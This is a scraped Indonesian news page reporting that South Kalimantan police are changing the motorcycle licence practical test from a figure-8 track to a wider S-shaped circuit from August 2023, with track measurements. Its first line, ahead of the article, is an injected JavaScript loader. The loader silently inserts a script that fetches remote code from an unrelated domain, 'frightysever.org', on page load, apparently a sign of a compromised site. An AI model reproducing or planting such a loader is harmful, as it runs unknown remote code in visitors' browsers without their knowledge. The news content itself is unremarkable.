(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Salah satu materi ujian praktek pembuatan Surat Izin Mengemudi (SIM) roda dua yang selama ini dianggap sulit dievaluasi oleh kepolisian.
Lintasan angka 8 melingkar yang biasanya harus dilewati pembuat SIM akan segera dirubah menjadi lintasan menyerupai huruf S.
Perubahan itu tertuang dalam Keputusan Kakorlantas Polri Nomor Kep/105/VIII/2023 tentang Ketentuan Pelaksanaan Uji Praktek Penerbitan Surat Izin Mengemudi (SIM).
Dirlantas Polda Kalsel Kombes Pol Robertho Pardede melalui Kasubdit Regident AKBP Pius Febry mengatakan, perubahan trek itu akan diberlakukan per hari Senin tanggal 7 Agustus 2023 mendatang.
“Ketentuan ini dikeluarkan berdasarkan perkembangan, masukan dan kajian dari tim ahli serta beberapa pihak, akan tetapi tidak mengurangi keselamatan dan keahlian,” katanya, Sabtu (5/8/2023) siang.
Dirlantas Polda Kalsel Kombes Pol Robertho Pardede. Foto: rizki
Dikatakan, Satlantas di seluruh Polres yang ada di Kalsel akan segera mengganti lintasan zig-zag angka 8 menjadi lintasan menyerupai huruf S.
“Sejak beberapa hari ini Polres jajaran sudah melakukan persiapan-persiapan terkait pembuatan lintasan baru sesuai Keputusan Kakorlantas Polri,” ungkapnya.
Selain tidak lagi memakai lintasan angka 8 dan diganti huruf S, praktek ujian pembuatan SIM terbaru juga terdapat perubahan lainnya signifikan, seperti lintasan menjadi sebuah sirkuit yang mengakomodir materi ujian praktek, sirkuit lebih luas, dan tanpa materi zig-zag.
Kemudian untuk ukuran huruf S diperlebar menjadi 2,5 meter kali lebar kendaraan atau lebih lebar dari ukuran lama yang hanya 1,5 meter. Sementara untuk uji pengereman panjang lintasan sepanjang 20 meter dan jarak antar patok menjadi 2,5 meter.
Baca juga: Catatan Ombudsman, PTAM Intan Banjar Banjiri Keluhan Pelanggan
Pada lintasan U-Turn panjang lintasan yaitu 10 meter, 2 meter untuk tikungan saat berbelok dan jarak antar patok menjadi 3 meter, untuk uji huruf S panjang lintasan 35 meter dan untuk uji reaksi rem menghindar, untuk panjang lintasan menghindar4 meter dengan total panjang lintasan 24 meter.
“Sebelum melaksanakan ujian praktek juga diedukasi, disitu juga akan dilakukan sosialisasi terkait perubahan lintasan,” terang AKBP Poys Febry.
Sosialisasi juga dikatakannya akan segera berjalan melalui media sosial, dan secara manualnya fungsi pendidikan masyarakat lalu lintas (Dikmas Lantas) juga segera berjalan. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More
KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More
KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More
KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More
This website uses cookies.